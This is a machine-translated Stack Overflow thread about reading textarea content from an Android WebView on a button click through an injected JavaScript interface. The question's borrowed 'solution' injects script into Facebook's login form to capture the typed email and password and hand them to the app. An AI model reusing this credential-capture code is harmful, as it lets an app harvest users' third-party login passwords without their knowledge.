2

Я искал в google и stackoverflow, но не нашел решений, имеющих отношение к Android API 17 и выше.On Button Click Получить содержимое из текстового поля WebView Android

Мне нравится получать данные из веб-просмотра на кнопке Click.

Я хотел добиться чего-то подобное тому, что Иос:

myText.stringByEvaluatingJavaScriptFromString 
    ("document.getElementById('chapter-description').value") 

мой исходный код:

package com.xyz.webviewtest; 

import android.annotation.SuppressLint; 
import android.app.AlertDialog; 
import android.content.Context; 
import android.os.Bundle; 
import android.support.v7.app.AppCompatActivity; 
import android.util.Log; 
import android.webkit.JavascriptInterface; 
import android.webkit.WebSettings; 
import android.webkit.WebView; 
import android.webkit.WebViewClient; 
import android.widget.TextView; 

public class MainActivity4 extends AppCompatActivity { 
    TextView textView; 

    @SuppressLint("JavascriptInterface") 
    @Override 
    protected void onCreate(Bundle savedInstanceState) { 
     super.onCreate(savedInstanceState); 
     setContentView(R.layout.activity_main); 

     final WebView webview = (WebView) findViewById(R.id.webView); 
     webview.getSettings().setJavaScriptEnabled(true); 

     webview.addJavascriptInterface(new MyJavaScriptInterface(this), "HtmlViewer"); 

     webview.setWebViewClient(new WebViewClient() { 
      @Override 
      public void onPageFinished(WebView view, String url) { 
       webview.loadUrl("javascript:window.HtmlViewer.showHTML" + 
         "('<html>'+document.getElementsByTagName('html')[0].innerHTML+'</html>');"); 

      } 
     }); 
     // new MyJavaScriptInterface(this).showHTML("HtmlViewer"); 

     webview.loadUrl("http://www.xsoftech.com"); 
    } 

    class MyJavaScriptInterface { 

     private Context ctx; 

     MyJavaScriptInterface(Context ctx) { 
      this.ctx = ctx; 
     } 

     public void showHTML(String html) { 
      new AlertDialog.Builder(ctx).setTitle("HTML").setMessage(html) 
        .setPositiveButton(android.R.string.ok, null).setCancelable(false).create().show(); 
     } 

    } 
} 

http://developer.android.com/ заявляет, что конструктор является устаревшим

Этот конструктор был устарел на уровне API 17. Частный просмотр больше не поддерживается напрямую через WebView и будет удален в будущей версии . Предпочитаете использовать WebSettings, WebViewDatabase, CookieManager и WebStorage для точного контроля данных конфиденциальности.

Веб-просмотр имеет текстовое поле, поэтому я могу написать что-то после записи. Я хочу получить данные при нажатии кнопки. На самом деле я могу получить данные о времени загрузки веб-просмотра, но не смог получить данные при нажатии кнопки после написания на textarea в webview.

Я нашел возможное решение, но я не могу получить данные при нажатии кнопки.

Решение:

package example.xsoftech.sample; 


import android.app.Activity; 
import android.app.AlertDialog; 
import android.content.DialogInterface; 
import android.os.Bundle; 
import android.util.Log; 
import android.view.View; 
import android.webkit.JavascriptInterface; 
import android.webkit.WebView; 
import android.webkit.WebViewClient; 
import android.widget.Button; 
import android.widget.Toast; 


public class Main2 extends Activity { 
    WebView webview1; 
    public static String data; 
    Button button; 
    String sUrl = "http://www.facebook.com/"; 

    // String sUrl = "http://www.xsoftech.com"; 



    @Override 
    protected void onCreate(Bundle savedInstanceState) { 
     super.onCreate(savedInstanceState); 
     setContentView(R.layout.main); 

     button = (Button)findViewById(R.id.button); 

     webview1 = (WebView)findViewById(R.id.myWebview); 

     webview1.getSettings().setJavaScriptEnabled(true); 
      webview1.addJavascriptInterface(new MyJavaScriptInterface(), "MYOBJECT"); 

     //FIXME I want to get value on button click but it's not working.So plz give me solution for work it? 
     button.setOnClickListener(new View.OnClickListener() { 
      @Override 
      public void onClick(View v) { 
       Toast.makeText(Main2.this, "click is done: "+data, Toast.LENGTH_SHORT).show(); 
       data= ""; 
       webview1.loadUrl(sUrl); 
      } 
     }); 


     webview1.setWebViewClient(new WebViewClient() { 
      @Override 
      public boolean shouldOverrideUrlLoading(WebView view, String url) { 
       Log.d("lifecyle", "shouldOverrideUrlLoading"); 

       view.loadUrl(url); 
       return true; 
      } 

      @Override 
      public void onPageFinished(WebView view, String url) { 
       super.onPageFinished(view, url); 
       Log.d("lifecyle", "onpagefinished"); 
       StringBuilder sb = new StringBuilder(); 



       sb.append("document.getElementsByTagName('form')[0].onsubmit = function() {"); 
       sb.append("var objPWD, objAccount;var str = '';"); 
       sb.append("var inputs = document.getElementsByTagName('input');"); 
       sb.append("for (var i = 0; i < inputs.length; i++) {"); 
       sb.append("if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}"); 
       sb.append("else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}"); 
       sb.append("}"); 
       sb.append("if (objAccount != null) {str += objAccount.value;}"); 
       sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); 
       sb.append("window.MYOBJECT.processHTML(str);"); 
       sb.append("return true;"); 
       sb.append("};"); 

       view.loadUrl("javascript:" + sb.toString()); 

      } 

     }); 


     webview1.loadUrl(sUrl); 

    } 

    class MyJavaScriptInterface 
    { 
     @JavascriptInterface 
     public void processHTML(String html) 
     { 
      data = html; 
      AlertDialog.Builder builder = new AlertDialog.Builder(Main2.this); 
      builder.setTitle("AlertDialog from app") 
        .setMessage(html) 
        .setPositiveButton(android.R.string.ok, 
          new DialogInterface.OnClickListener() { 

           @Override 
           public void onClick(DialogInterface dialog, int which) { 
            // TODO Auto-generated method stub 

           } 
          }) 
        .setCancelable(false).show(); 

     } 
    } 

} 

любая помощь приветствуется.

+2

https://github.com/henrychuangtw/WebView-Javascript-Inject – HenryChuang

ответ

2

Я очень рад дать ответа

@Override 
    protected void onCreate(Bundle savedInstanceState) { 
     super.onCreate(savedInstanceState); 
     setContentView(R.layout.main); 

     button = (Button)findViewById(R.id.button); 

     final WebView browser = (WebView)findViewById(R.id.myWebview); 
/* JavaScript must be enabled if you want it to work, obviously */ 
     browser.getSettings().setJavaScriptEnabled(true); 

/* Register a new JavaScript interface called HTMLOUT */ 
     browser.addJavascriptInterface(new MyJavaScriptInterface(), "HTMLOUT"); 

/* WebViewClient must be set BEFORE calling loadUrl! */ 
     browser.setWebViewClient(new WebViewClient() { 
      @Override 
      public void onPageFinished(WebView view, String url) 
      { 
     // This call inject JavaScript into the page which just finished loading. 
       browser.loadUrl("javascript:window.HTMLOUT.processHTML(document.getElementsByTagName('textarea')[0].innerHTML);"); 
      } 
     }); 

     button.setOnClickListener(new View.OnClickListener() { 
      @Override 
      public void onClick(View v) { 
       browser.loadUrl("javascript:window.HTMLOUT.processHTML(document.getElementById('chapter-description').value);"); 
      } 
     }); 

/* load a web page */ 
     browser.loadUrl(sUrl); 

    } 
0
  1. Enable javascript
  2. Add your own javascript
  3. Зарегистрируйте свой собственный webviewClient, перекрывая onPageFinished, чтобы вставить немного JavaScript
  4. В JavaScript, приобретают element.innerText тега, и передать его в JavaScript интерфейс.
+0

Мне нужно полное решение не объяснение? –